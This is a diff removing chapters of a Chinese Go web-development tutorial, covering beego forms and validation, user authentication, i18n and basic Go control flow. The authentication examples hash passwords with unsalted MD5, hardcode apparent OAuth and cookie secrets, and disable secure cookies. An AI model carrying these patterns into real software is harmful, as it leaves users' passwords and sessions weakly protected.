- 用户填写并提交了表单。
- 如果用户提交了一些无效的信息,或者可能漏掉了一个必填项,表单将会连同用户的数据和错误问题的描述信息返回。
- 用户再次填写,继续上一步过程,直到提交了一个有效的表单。
在接收端,脚本必须:
- 检查用户递交的表单数据。
- 验证数据是否为正确的类型,合适的标准。例如,如果一个用户名被提交,它必须被验证是否只包含了允许的字符。它必须有一个最小长度,不能超过最大长度。用户名不能与已存在的他人用户名重复,甚至是一个保留字等。
- 过滤数据并清理不安全字符,保证逻辑处理中接收的数据是安全的。
- 如果需要预格式化数据数据需要清除空白或者经过HTML编码等等。
- 准备好数据,插入数据库。
尽管上面的过程并不是很复杂,但是通常情况下需要编写很多代码,而且为了显示错误信息,在网页中经常要使用多种不同的控制结构。创建表单验证虽简单,实施起来实在枯燥无味。
## 表单和验证
对于开发者来说一般开发过程都是相当复杂而且大多是在重复一样的工作。假设一个场景项目中忽然需要增加一个表单数据那么局部代码的整个流程都需要修改。我们知道Go里面struct是常用的一个数据结构因此beego的form采用了struct来处理表单信息。
首先定义一个开发Web应用时相对应的struct一个字段对应一个form元素通过struct的tag来定义相应的元素信息和验证信息如下所示
type User struct{
Username string `form:text,valid:required`
Nickname string `form:text,valid:required`
Age int `form:text,valid:required|numeric`
Email string `form:text,valid:required|valid_email`
Introduce string `form:textarea`
}
定义好struct之后接下来在controller中这样操作
func (this *AddController) Get() {
this.Data["form"] = beego.Form(&User{})
this.Layout = "admin/layout.html"
this.TplNames = "admin/add.tpl"
}
在模板中这样显示表单
<h1>New Blog Post</h1>
<form action="" method="post">
{{.form.render()}}
</form>
上面我们定义好了整个的第一步从struct到显示表单的过程接下来就是用户填写信息服务器端接收数据然后验证最后插入数据库。
func (this *AddController) Post() {
var user User
form := this.GetInput(&user)
if !form.Validates() {
return
}
models.UserInsert(&user)
this.Ctx.Redirect(302, "/admin/index")
}
## 表单类型
以下列表列出来了对应的form元素信息
<table cellpadding="0" cellspacing="1" border="0" style="width:100%" class="tableborder">
<tbody><tr>
<th>名称</th>
<th>参数</th>
<th>功能描述</th>
</tr>
<tr>
<td class="td"><strong>text</strong></td>
<td class="td">No</td>
<td class="td">textbox输入框</td>
</tr>
<tr>
<td class="td"><strong>button</strong></td>
<td class="td">No</td>
<td class="td">按钮</td>
</tr>
<tr>
<td class="td"><strong>checkbox</strong></td>
<td class="td">No</td>
<td class="td">多选择框</td>
</tr>
<tr>
<td class="td"><strong>dropdown</strong></td>
<td class="td">No</td>
<td class="td">下拉选择框</td>
</tr>
<tr>
<td class="td"><strong>file</strong></td>
<td class="td">No</td>
<td class="td">文件上传</td>
</tr>
<tr>
<td class="td"><strong>hidden</strong></td>
<td class="td">No</td>
<td class="td">隐藏元素</td>
</tr>
<tr>
<td class="td"><strong>password</strong></td>
<td class="td">No</td>
<td class="td">密码输入框</td>
</tr>
<tr>
<td class="td"><strong>radio</strong></td>
<td class="td">No</td>
<td class="td">单选框</td>
</tr>
<tr>
<td class="td"><strong>textarea</strong></td>
<td class="td">No</td>
<td class="td">文本输入框</td>
</tr>
</tbody></table>
## 表单验证
以下列表将列出可被使用的原生规则
<table cellpadding="0" cellspacing="1" border="0" style="width:100%" class="tableborder">
<tbody><tr>
<th>规则</th>
<th>参数</th>
<th>描述</th>
<th>举例</th>
</tr>
<tr>
<td class="td"><strong>required</strong></td>
<td class="td">No</td>
<td class="td">如果元素为空则返回FALSE</td>
<td class="td">&nbsp;</td>
</tr>
<tr>
<td class="td"><strong>matches</strong></td>
<td class="td">Yes</td>
<td class="td">如果表单元素的值与参数中对应的表单字段的值不相等则返回FALSE</td>
<td class="td">matches[form_item]</td>
</tr>
<tr>
<td class="td"><strong>is_unique</strong></td>
<td class="td">Yes</td>
<td class="td">如果表单元素的值与指定数据表栏位有重复则返回False译者注比如is_unique[User.Email]那么验证类会去查找User表中Email栏位有没有与表单元素一样的值如存重复则返回false这样开发者就不必另写Callback验证代码。</td>
<td class="td">is_unique[table.field]</td>
</tr>
<tr>
<td class="td"><strong>min_length</strong></td>
<td class="td">Yes</td>
<td class="td">如果表单元素值的字符长度少于参数中定义的数字则返回FALSE</td>
<td class="td">min_length[6]</td>
</tr>
<tr>
<td class="td"><strong>max_length</strong></td>
<td class="td">Yes</td>
<td class="td">如果表单元素值的字符长度大于参数中定义的数字则返回FALSE</td>
<td class="td">max_length[12]</td>
</tr>
<tr>
<td class="td"><strong>exact_length</strong></td>
<td class="td">Yes</td>
<td class="td">如果表单元素值的字符长度与参数中定义的数字不符则返回FALSE</td>
<td class="td">exact_length[8]</td>
</tr>
<tr>
<td class="td"><strong>greater_than</strong></td>
<td class="td">Yes</td>
<td class="td">如果表单元素值是非数字类型或小于参数定义的值则返回FALSE</td>
<td class="td">greater_than[8]</td>
</tr>
<tr>
<td class="td"><strong>less_than</strong></td>
<td class="td">Yes</td>
<td class="td">如果表单元素值是非数字类型或大于参数定义的值则返回FALSE</td>
<td class="td">less_than[8]</td>
</tr>
<tr>
<td class="td"><strong>alpha</strong></td>
<td class="td">No</td>
<td class="td">如果表单元素值中包含除字母以外的其他字符则返回FALSE</td>
<td class="td">&nbsp;</td>
</tr>
<tr>
<td class="td"><strong>alpha_numeric</strong></td>
<td class="td">No</td>
<td class="td">如果表单元素值中包含除字母和数字以外的其他字符则返回FALSE</td>
<td class="td">&nbsp;</td>
</tr>
<tr>
<td class="td"><strong>alpha_dash</strong></td>
<td class="td">No</td>
<td class="td">如果表单元素值中包含除字母/数字/下划线/破折号以外的其他字符则返回FALSE</td>
<td class="td">&nbsp;</td>
</tr>
<tr>
<td class="td"><strong>numeric</strong></td>
<td class="td">No</td>
<td class="td">如果表单元素值中包含除数字以外的字符,则返回 FALSE</td>
<td class="td">&nbsp;</td>
</tr>
<tr>
<td class="td"><strong>integer</strong></td>
<td class="td">No</td>
<td class="td">如果表单元素中包含除整数以外的字符则返回FALSE</td>
<td class="td">&nbsp;</td>
</tr>
<tr>
<td class="td"><strong>decimal</strong></td>
<td class="td">Yes</td>
<td class="td">如果表单元素中输入非小数不完整的值则返回FALSE</td>
<td class="td">&nbsp;</td>
</tr>
<tr>
<td class="td"><strong>is_natural</strong></td>
<td class="td">No</td>
<td class="td">如果表单元素值中包含了非自然数的其他数值 其他数值不包括零则返回FALSE。自然数形如0,1,2,3....等等。</td>
<td class="td">&nbsp;</td>
</tr>
<tr>
<td class="td"><strong>is_natural_no_zero</strong></td>
<td class="td">No</td>
<td class="td">如果表单元素值包含了非自然数的其他数值 其他数值包括零则返回FALSE。非零的自然数1,2,3.....等等。</td>
<td class="td">&nbsp;</td>
</tr>
<tr>
<td class="td"><strong>valid_email</strong></td>
<td class="td">No</td>
<td class="td">如果表单元素值包含不合法的email地址则返回FALSE</td>
<td class="td">&nbsp;</td>
</tr>
<tr>
<td class="td"><strong>valid_emails</strong></td>
<td class="td">No</td>
<td class="td">如果表单元素值中任何一个值包含不合法的email地址地址之间用英文逗号分割则返回FALSE。</td>
<td class="td">&nbsp;</td>
</tr>
<tr>
<td class="td"><strong>valid_ip</strong></td>
<td class="td">No</td>
<td class="td">如果表单元素的值不是一个合法的IP地址则返回FALSE。</td>
<td class="td">&nbsp;</td>
</tr>
<tr>
<td class="td"><strong>valid_base64</strong></td>
<td class="td">No</td>
<td class="td">如果表单元素的值包含除了base64 编码字符之外的其他字符则返回FALSE。</td>
<td class="td">&nbsp;</td>
</tr>
</tbody></table>
## links
* [目录](<preface.md>)
* 上一节: [Session支持](<14.2.md>)
* 下一节: [用户认证](<14.4.md>)

View File

@@ -1,259 +0,0 @@
# 14.4 用户认证
在开发Web应用过程中用户认证是开发者经常遇到的问题用户登录、注册、登出等操作而一般认证也分为三个方面的认证
- HTTP Basic和 HTTP Digest认证
- 第三方集成认证QQ、微博、豆瓣、OPENID、google、github、facebook和twitter等
- 自定义的用户登录、注册、登出一般都是基于session、cookie认证
beego目前没有针对这三种方式进行任何形式的集成但是可以充分的利用第三方开源库来实现上面的三种方式的用户认证不过后续beego会对前面两种认证逐步集成。
## HTTP Basic和 HTTP Digest认证
这两个认证是一些应用采用的比较简单的认证,目前已经有开源的第三方库支持这两个认证:
github.com/abbot/go-http-auth
下面代码演示了如何把这个库引入beego中从而实现认证
package controllers
import (
"github.com/abbot/go-http-auth"
"github.com/astaxie/beego"
)
func Secret(user, realm string) string {
if user == "john" {
// password is "hello"
return "$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1"
}
return ""
}
type MainController struct {
beego.Controller
}
func (this *MainController) Prepare() {
a := auth.NewBasicAuthenticator("example.com", Secret)
if username := a.CheckAuth(this.Ctx.Request); username == "" {
a.RequireAuth(this.Ctx.ResponseWriter, this.Ctx.Request)
}
}
func (this *MainController) Get() {
this.Data["Username"] = "astaxie"
this.Data["Email"] = "astaxie@gmail.com"
this.TplNames = "index.tpl"
}
上面代码利用了beego的prepare函数在执行正常逻辑之前调用了认证函数这样就非常简单的实现了http authdigest的认证也是同样的原理。
## oauth和oauth2的认证
oauth和oauth2是目前比较流行的两种认证方式还好第三方有一个库实现了这个认证但是是国外实现的并没有QQ、微博之类的国内应用认证集成
github.com/bradrydzewski/go.auth
下面代码演示了如何把该库引入beego中从而实现oauth的认证这里以github为例演示
1. 添加两条路由
beego.RegisterController("/auth/login", &controllers.GithubController{})
beego.RegisterController("/mainpage", &controllers.PageController{})
2. 然后我们处理GithubController登陆的页面
package controllers
import (
"github.com/astaxie/beego"
"github.com/bradrydzewski/go.auth"
)
const (
githubClientKey = "a0864ea791ce7e7bd0df"
githubSecretKey = "a0ec09a647a688a64a28f6190b5a0d2705df56ca"
)
type GithubController struct {
beego.Controller
}
func (this *GithubController) Get() {
// set the auth parameters
auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV")
auth.Config.LoginSuccessRedirect = "/mainpage"
auth.Config.CookieSecure = false
githubHandler := auth.Github(githubClientKey, githubSecretKey)
githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request)
}
3. 处理登陆成功之后的页面
package controllers
import (
"github.com/astaxie/beego"
"github.com/bradrydzewski/go.auth"
"net/http"
"net/url"
)
type PageController struct {
beego.Controller
}
func (this *PageController) Get() {
// set the auth parameters
auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV")
auth.Config.LoginSuccessRedirect = "/mainpage"
auth.Config.CookieSecure = false
user, err := auth.GetUserCookie(this.Ctx.Request)
//if no active user session then authorize user
if err != nil || user.Id() == "" {
http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Request, auth.Config.LoginRedirect, http.StatusSeeOther)
return
}
//else, add the user to the URL and continue
this.Ctx.Request.URL.User = url.User(user.Id())
this.Data["pic"] = user.Picture()
this.Data["id"] = user.Id()
this.Data["name"] = user.Name()
this.TplNames = "home.tpl"
}
整个的流程如下,首先打开浏览器输入地址:
![](images/14.4.github.png?raw=true)
图14.4 显示带有登录按钮的首页
然后点击链接出现如下界面:
![](images/14.4.github2.png?raw=true)
图14.5 点击登录按钮后显示github的授权页
然后点击Authorize app就出现如下界面
![](images/14.4.github3.png?raw=true)
图14.6 授权登录之后显示的获取到的github信息页
## 自定义认证
自定义的认证一般都是和session结合验证的如下代码来源于一个基于beego的开源博客
//登陆处理
func (this *LoginController) Post() {
this.TplNames = "login.tpl"
this.Ctx.Request.ParseForm()
username := this.Ctx.Request.Form.Get("username")
password := this.Ctx.Request.Form.Get("password")
md5Password := md5.New()
io.WriteString(md5Password, password)
buffer := bytes.NewBuffer(nil)
fmt.Fprintf(buffer, "%x", md5Password.Sum(nil))
newPass := buffer.String()
now := time.Now().Format("2006-01-02 15:04:05")
userInfo := models.GetUserInfo(username)
if userInfo.Password == newPass {
var users models.User
users.Last_logintime = now
models.UpdateUserInfo(users)
//登录成功设置session
sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request)
sess.Set("uid", userInfo.Id)
sess.Set("uname", userInfo.Username)
this.Ctx.Redirect(302, "/")
}
}
//注册处理
func (this *RegController) Post() {
this.TplNames = "reg.tpl"
this.Ctx.Request.ParseForm()
username := this.Ctx.Request.Form.Get("username")
password := this.Ctx.Request.Form.Get("password")
usererr := checkUsername(username)
fmt.Println(usererr)
if usererr == false {
this.Data["UsernameErr"] = "Username error, Please to again"
return
}
passerr := checkPassword(password)
if passerr == false {
this.Data["PasswordErr"] = "Password error, Please to again"
return
}
md5Password := md5.New()
io.WriteString(md5Password, password)
buffer := bytes.NewBuffer(nil)
fmt.Fprintf(buffer, "%x", md5Password.Sum(nil))
newPass := buffer.String()
now := time.Now().Format("2006-01-02 15:04:05")
userInfo := models.GetUserInfo(username)
if userInfo.Username == "" {
var users models.User
users.Username = username
users.Password = newPass
users.Created = now
users.Last_logintime = now
models.AddUser(users)
//登录成功设置session
sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request)
sess.Set("uid", userInfo.Id)
sess.Set("uname", userInfo.Username)
this.Ctx.Redirect(302, "/")
} else {
this.Data["UsernameErr"] = "User already exists"
}
}
func checkPassword(password string) (b bool) {
if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", password); !ok {
return false
}
return true
}
func checkUsername(username string) (b bool) {
if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", username); !ok {
return false
}
return true
}
有了用户登陆和注册之后,其他模块的地方可以增加如下这样的用户是否登陆的判断:
func (this *AddBlogController) Prepare() {
sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request)
sess_uid := sess.Get("userid")
sess_username := sess.Get("username")
if sess_uid == nil {
this.Ctx.Redirect(302, "/admin/login")
return
}
this.Data["Username"] = sess_username
}
## links
* [目录](<preface.md>)
* 上一节: [表单及验证支持](<14.3.md>)
* 下一节: [多语言支持](<14.5.md>)

View File

@@ -1,113 +0,0 @@
# 14.5 多语言支持
我们在第十章介绍过国际化和本地化开发了一个go-i18n库这小节我们将把该库集成到beego框架里面来使得我们的框架支持国际化和本地化。
## i18n集成
beego中设置全局变量如下
Translation i18n.IL
Lang string //设置语言包zh、en
LangPath string //设置语言包所在位置
初始化多语言函数:
func InitLang(){
beego.Translation:=i18n.NewLocale()
beego.Translation.LoadPath(beego.LangPath)
beego.Translation.SetLocale(beego.Lang)
}
为了方便在模板中直接调用多语言包,我们设计了三个函数来处理响应的多语言:
beegoTplFuncMap["Trans"] = i18n.I18nT
beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate
beegoTplFuncMap["TransMoney"] = i18n.I18nMoney
func I18nT(args ...interface{}) string {
ok := false
var s string
if len(args) == 1 {
s, ok = args[0].(string)
}
if !ok {
s = fmt.Sprint(args...)
}
return beego.Translation.Translate(s)
}
func I18nTimeDate(args ...interface{}) string {
ok := false
var s string
if len(args) == 1 {
s, ok = args[0].(string)
}
if !ok {
s = fmt.Sprint(args...)
}
return beego.Translation.Time(s)
}
func I18nMoney(args ...interface{}) string {
ok := false
var s string
if len(args) == 1 {
s, ok = args[0].(string)
}
if !ok {
s = fmt.Sprint(args...)
}
return beego.Translation.Money(s)
}
## 多语言开发使用
1. 设置语言以及语言包所在位置然后初始化i18n对象
beego.Lang = "zh"
beego.LangPath = "views/lang"
beego.InitLang()
2. 设计多语言包
上面讲了如何初始化多语言包现在设计多语言包多语言包是json文件如第十章介绍的一样我们需要把设计的文件放在LangPath下面例如zh.json或者en.json
# zh.json
{
"zh": {
"submit": "提交",
"create": "创建"
}
}
#en.json
{
"en": {
"submit": "Submit",
"create": "Create"
}
}
3. 使用语言包
我们可以在controller中调用翻译获取响应的翻译语言如下所示
func (this *MainController) Get() {
this.Data["create"] = beego.Translation.Translate("create")
this.TplNames = "index.tpl"
}
我们也可以在模板中直接调用响应的翻译函数:
//直接文本翻译
{{.create | Trans}}
//时间翻译
{{.time | TransDate}}
//货币翻译
{{.money | TransMoney}}
## links
* [目录](<preface.md>)
* 上一节: [用户认证](<14.4.md>)
* 下一节: [pprof支持](<14.6.md>)

View File

@@ -1,19 +0,0 @@
# 2 Go语言基础
Go是一门类似C的编译型语言但是它的编译速度非常快。这门语言的关键字总共也就二十五个比英文字母还少一个这对于我们的学习来说就简单了很多。先让我们看一眼这些关键字都长什么样
break default func interface select
case defer go map struct
chan else goto package switch
const fallthrough if range type
continue for import return var
在接下来的这一章中我将带领你去学习这门语言的基础。通过每一小节的介绍你将发现Go的世界是那么地简洁设计是如此地美妙编写Go将会是一件愉快的事情。等回过头来你就会发现这二十五个关键字是多么地亲切。
## 目录
![](images/navi2.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第一章总结](<01.5.md>)
* 下一节: [你好Go](<02.1.md>)

View File

@@ -1,19 +0,0 @@
# 2 Go语言基础
Go是一门类似C的编译型语言但是它的编译速度非常快。这门语言的关键字总共也就二十五个比英文字母还少一个这对于我们的学习来说就简单了很多。先让我们看一眼这些关键字都长什么样
break default func interface select
case defer go map struct
chan else goto package switch
const fallthrough if range type
continue for import return var
在接下来的这一章中我将带领你去学习这门语言的基础。通过每一小节的介绍你将发现Go的世界是那么地简洁设计是如此地美妙编写Go将会是一件愉快的事情。等回过头来你就会发现这二十五个关键字是多么地亲切。
## 目录
![](images/navi2.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第一章总结](<01.5.md>)
* 下一节: [你好Go](<02.1.md>)

View File

@@ -1,52 +0,0 @@
# 2.1 你好Go
在开始编写应用之前我们先从最基本的程序开始。就像你造房子之前不知道什么是地基一样编写程序也不知道如何开始。因此在本节中我们要学习用最基本的语法让Go程序运行起来。
## 程序
这就像一个传统,在学习大部分语言之前,你先学会如何编写一个可以输出`hello world`的程序。
准备好了吗Let's Go!
package main
import "fmt"
func main() {
fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちはせかい\n")
}
输出如下:
Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちはせかい
## 详解
首先我们要了解一个概念Go程序是通过`package`来组织的
`package <pkgName>`(在我们的例子中是`package main`)这一行告诉我们当前文件属于哪个包,而包名`main`则告诉我们它是一个可独立运行的包,它在编译后会产生可执行文件。除了`main`包之外,其它的包最后都会生成`*.a`文件(也就是包文件)并放置在`$GOPATH/pkg/$GOOS_$GOARCH`中以Mac为例就是`$GOPATH/pkg/darwin_amd64`)。
>每一个可独立运行的Go程序必定包含一个`package main`,在这个`main`包中必定包含一个入口函数`main`,而这个函数既没有参数,也没有返回值。
为了打印`Hello, world...`,我们调用了一个函数`Printf`,这个函数来自于`fmt`包,所以我们在第三行中导入了系统级别的`fmt`包:`import "fmt"`。
包的概念和Python中的package类似它们都有一些特别的好处模块化能够把你的程序分成多个模块)和可重用性(每个模块都能被其它应用程序反复使用)。我们在这里只是先了解一下包的概念,后面我们将会编写自己的包。
在第五行中,我们通过关键字`func`定义了一个`main`函数,函数体被放在`{}`大括号就像我们平时写C、C++或Java时一样。
大家可以看到`main`函数是没有任何的参数的我们接下来就学习如何编写带参数的、返回0个或多个值的函数。
第六行,我们调用了`fmt`包里面定义的函数`Printf`。大家可以看到,这个函数是通过`<pkgName>.<funcName>`的方式调用的这一点和Python十分相似。
>前面提到过,包名和包所在的文件夹名可以是不同的,此处的`<pkgName>`即为通过`package <pkgName>`声明的包名,而非文件夹名。
最后大家可以看到我们输出的内容里面包含了很多非ASCII码字符。实际上Go是天生支持UTF-8的任何字符都可以直接输出你甚至可以用UTF-8中的任何字符作为标识符。
## 结论
Go使用`package`和Python的模块类似来组织代码。`main.main()`函数(这个函数位于主包是每一个独立的可运行程序的入口点。Go使用UTF-8字符串和标识符(因为UTF-8的发明者也就是Go的发明者之一),所以它天生支持多语言。
## links
* [目录](<preface.md>)
* 上一节: [Go语言基础](<02.0.md>)
* 下一节: [Go基础](<02.2.md>)

View File

@@ -1,52 +0,0 @@
# 2.1 你好Go
在开始编写应用之前我们先从最基本的程序开始。就像你造房子之前不知道什么是地基一样编写程序也不知道如何开始。因此在本节中我们要学习用最基本的语法让Go程序运行起来。
## 程序
这就像一个传统,在学习大部分语言之前,你先学会如何编写一个可以输出`hello world`的程序。
准备好了吗Let's Go!
package main
import "fmt"
func main() {
fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちはせかい\n")
}
输出如下:
Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちはせかい
## 详解
首先我们要了解一个概念Go程序是通过`package`来组织的
`package <pkgName>`(在我们的例子中是`package main`)这一行告诉我们当前文件属于哪个包,而包名`main`则告诉我们它是一个可独立运行的包,它在编译后会产生可执行文件。除了`main`包之外,其它的包最后都会生成`*.a`文件(也就是包文件)并放置在`$GOPATH/pkg/$GOOS_$GOARCH`中以Mac为例就是`$GOPATH/pkg/darwin_amd64`)。
>每一个可独立运行的Go程序必定包含一个`package main`,在这个`main`包中必定包含一个入口函数`main`,而这个函数既没有参数,也没有返回值。
为了打印`Hello, world...`,我们调用了一个函数`Printf`,这个函数来自于`fmt`包,所以我们在第三行中导入了系统级别的`fmt`包:`import "fmt"`。
包的概念和Python中的package类似它们都有一些特别的好处模块化能够把你的程序分成多个模块)和可重用性(每个模块都能被其它应用程序反复使用)。我们在这里只是先了解一下包的概念,后面我们将会编写自己的包。
在第五行中,我们通过关键字`func`定义了一个`main`函数,函数体被放在`{}`大括号就像我们平时写C、C++或Java时一样。
大家可以看到`main`函数是没有任何的参数的我们接下来就学习如何编写带参数的、返回0个或多个值的函数。
第六行,我们调用了`fmt`包里面定义的函数`Printf`。大家可以看到,这个函数是通过`<pkgName>.<funcName>`的方式调用的这一点和Python十分相似。
>前面提到过,包名和包所在的文件夹名可以是不同的,此处的`<pkgName>`即为通过`package <pkgName>`声明的包名,而非文件夹名。
最后大家可以看到我们输出的内容里面包含了很多非ASCII码字符。实际上Go是天生支持UTF-8的任何字符都可以直接输出你甚至可以用UTF-8中的任何字符作为标识符。
## 结论
Go使用`package`和Python的模块类似来组织代码。`main.main()`函数(这个函数位于主包是每一个独立的可运行程序的入口点。Go使用UTF-8字符串和标识符(因为UTF-8的发明者也就是Go的发明者之一),所以它天生支持多语言。
## links
* [目录](<preface.md>)
* 上一节: [Go语言基础](<02.0.md>)
* 下一节: [Go基础](<02.2.md>)

View File

@@ -1,520 +0,0 @@
# 2.3 流程和函数
这小节我们要介绍Go里面的流程控制以及函数操作。
## 流程控制
流程控制在编程语言中是最伟大的发明了因为有了它你可以通过很简单的流程描述来表达很复杂的逻辑。Go中流程控制分三大类条件判断循环控制和无条件跳转。
### if
`if`也许是各种编程语言中最常见的了,它的语法概括起来就是:如果满足条件就做某事,否则做另一件事。
Go里面`if`条件判断语句中不需要括号,如下代码所示
if x > 10 {
fmt.Println("x is greater than 10")
} else {
fmt.Println("x is less than 10")
}
Go的`if`还有一个强大的地方就是条件判断语句里面允许声明一个变量,这个变量的作用域只能在该条件逻辑块内,其他地方就不起作用了,如下所示
// 计算获取值x,然后根据x返回的大小判断是否大于10。
if x := computedValue(); x > 10 {
fmt.Println("x is greater than 10")
} else {
fmt.Println("x is less than 10")
}
//这个地方如果这样调用就编译出错了因为x是条件里面的变量
fmt.Println(x)
多个条件的时候如下所示:
if integer == 3 {
fmt.Println("The integer is equal to 3")
} else if integer < 3 {
fmt.Println("The integer is less than 3")
} else {
fmt.Println("The integer is greater than 3")
}
### goto
Go有`goto`语句——请明智地使用它。用`goto`跳转到必须在当前函数内定义的标签。例如假设这样一个循环:
func myFunc() {
i := 0
Here: //这行的第一个词,以冒号结束作为标签
println(i)
i++
goto Here //跳转到Here去
}
>标签名是大小写敏感的。
### for
Go里面最强大的一个控制逻辑就是`for`,它即可以用来循环读取数据,又可以当作`while`来控制逻辑,还能迭代操作。它的语法如下:
for expression1; expression2; expression3 {
//...
}
`expression1`、`expression2`和`expression3`都是表达式,其中`expression1`和`expression3`是变量声明或者函数调用返回值之类的,`expression2`是用来条件判断,`expression1`在循环开始之前调用,`expression3`在每轮循环结束之时调用。
一个例子比上面讲那么多更有用,那么我们看看下面的例子吧:
package main
import "fmt"
func main(){
sum := 0;
for index:=0; index < 10 ; index++ {
sum += index
}
fmt.Println("sum is equal to ", sum)
}
// 输出sum is equal to 45
有些时候需要进行多个赋值操作由于Go里面没有`,`操作符,那么可以使用平行赋值`i, j = i+1, j-1`
有些时候如果我们忽略`expression1`和`expression3`
sum := 1
for ; sum < 1000; {
sum += sum
}
其中`;`也可以省略,那么就变成如下的代码了,是不是似曾相识?对,这就是`while`的功能。
sum := 1
for sum < 1000 {
sum += sum
}
在循环里面有两个关键操作`break`和`continue` ,`break`操作是跳出当前循环,`continue`是跳过本次循环。当嵌套过深的时候,`break`可以配合标签使用,即跳转至标签所指定的位置,详细参考如下例子:
for index := 10; index>0; index-- {
if index == 5{
break // 或者continue
}
fmt.Println(index)
}
// break打印出来10、9、8、7、6
// continue打印出来10、9、8、7、6、4、3、2、1
`break`和`continue`还可以跟着标号,用来跳到多重循环中的外层循环
`for`配合`range`可以用于读取`slice`和`map`的数据:
for k,v:=range map {
fmt.Println("map's key:",k)
fmt.Println("map's val:",v)
}
由于 Go 支持 “多值返回”, 而对于“声明而未被调用”的变量, 编译器会报错, 在这种情况下, 可以使用`_`来丢弃不需要的返回值
例如
for _, v := range map{
fmt.Println("map's val:", v)
}
### switch
有些时候你需要写很多的`if-else`来实现一些逻辑处理,这个时候代码看上去就很丑很冗长,而且也不易于以后的维护,这个时候`switch`就能很好的解决这个问题。它的语法如下
switch sExpr {
case expr1:
some instructions
case expr2:
some other instructions
case expr3:
some other instructions
default:
other code
}
`sExpr`和`expr1`、`expr2`、`expr3`的类型必须一致。Go的`switch`非常灵活,表达式不必是常量或整数,执行的过程从上至下,直到找到匹配项;而如果`switch`没有表达式,它会匹配`true`。
i := 10
switch i {
case 1:
fmt.Println("i is equal to 1")
case 2, 3, 4:
fmt.Println("i is equal to 2, 3 or 4")
case 10:
fmt.Println("i is equal to 10")
default:
fmt.Println("All I know is that i is an integer")
}
在第5行中我们把很多值聚合在了一个`case`里面同时Go里面`switch`默认相当于每个`case`最后带有`break`匹配成功后不会自动向下执行其他case而是跳出整个`switch`, 但是可以使用`fallthrough`强制执行后面的case代码。
integer := 6
switch integer {
case 4:
fmt.Println("The integer was <= 4")
fallthrough
case 5:
fmt.Println("The integer was <= 5")
fallthrough
case 6:
fmt.Println("The integer was <= 6")
fallthrough
case 7:
fmt.Println("The integer was <= 7")
fallthrough
case 8:
fmt.Println("The integer was <= 8")
fallthrough
default:
fmt.Println("default case")
}
上面的程序将输出
The integer was <= 6
The integer was <= 7
The integer was <= 8
default case
## 函数
函数是Go里面的核心设计它通过关键字`func`来声明,它的格式如下:
func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) {
//这里是处理逻辑代码
//返回多个值
return value1, value2
}
上面的代码我们看出
- 关键字`func`用来声明一个函数`funcName`
- 函数可以有一个或者多个参数,每个参数后面带有类型,通过`,`分隔
- 函数可以返回多个值
- 上面返回值声明了两个变量`output1`和`output2`,如果你不想声明也可以,直接就两个类型
- 如果只有一个返回值且不声明返回值变量,那么你可以省略 包括返回值 的括号
- 如果没有返回值,那么就直接省略最后的返回信息
- 如果有返回值, 那么必须在函数的外层添加return语句
下面我们来看一个实际应用函数的例子用来计算Max值
package main
import "fmt"
// 返回a、b中最大值.
func max(a, b int) int {
if a > b {
return a
}
return b
}
func main() {
x := 3
y := 4
z := 5
max_xy := max(x, y) //调用函数max(x, y)
max_xz := max(x, z) //调用函数max(x, z)
fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy)
fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz)
fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // 也可在这直接调用它
}
上面这个里面我们可以看到`max`函数有两个参数,它们的类型都是`int`,那么第一个变量的类型可以省略(即 a,b int,而非 a int, b int)默认为离它最近的类型同理多于2个同类型的变量或者返回值。同时我们注意到它的返回值就是一个类型这个就是省略写法。
### 多个返回值
Go语言比C更先进的特性其中一点就是函数能够返回多个值。
我们直接上代码看例子
package main
import "fmt"
//返回 A+B 和 A*B
func SumAndProduct(A, B int) (int, int) {
return A+B, A*B
}
func main() {
x := 3
y := 4
xPLUSy, xTIMESy := SumAndProduct(x, y)
fmt.Printf("%d + %d = %d\n", x, y, xPLUSy)
fmt.Printf("%d * %d = %d\n", x, y, xTIMESy)
}
上面的例子我们可以看到直接返回了两个参数,当然我们也可以命名返回参数的变量,这个例子里面只是用了两个类型,我们也可以改成如下这样的定义,然后返回的时候不用带上变量名,因为直接在函数里面初始化了。但如果你的函数是导出的(首字母大写),官方建议:最好命名返回值,因为不命名返回值,虽然使得代码更加简洁了,但是会造成生成的文档可读性差。
func SumAndProduct(A, B int) (add int, Multiplied int) {
add = A+B
Multiplied = A*B
return
}
### 变参
Go函数支持变参。接受变参的函数是有着不定数量的参数的。为了做到这点首先需要定义函数使其接受变参
func myfunc(arg ...int) {}
`arg ...int`告诉Go这个函数接受不定数量的参数。注意这些参数的类型全部是`int`。在函数体中,变量`arg`是一个`int`的`slice`
for _, n := range arg {
fmt.Printf("And the number is: %d\n", n)
}
### 传值与传指针
当我们传一个参数值到被调用函数里面时实际上是传了这个值的一份copy当在被调用函数中修改参数值的时候调用函数中相应实参不会发生任何变化因为数值变化只作用在copy上。
为了验证我们上面的说法,我们来看一个例子
package main
import "fmt"
//简单的一个函数,实现了参数+1的操作
func add1(a int) int {
a = a+1 // 我们改变了a的值
return a //返回一个新值
}
func main() {
x := 3
fmt.Println("x = ", x) // 应该输出 "x = 3"
x1 := add1(x) //调用add1(x)
fmt.Println("x+1 = ", x1) // 应该输出"x+1 = 4"
fmt.Println("x = ", x) // 应该输出"x = 3"
}
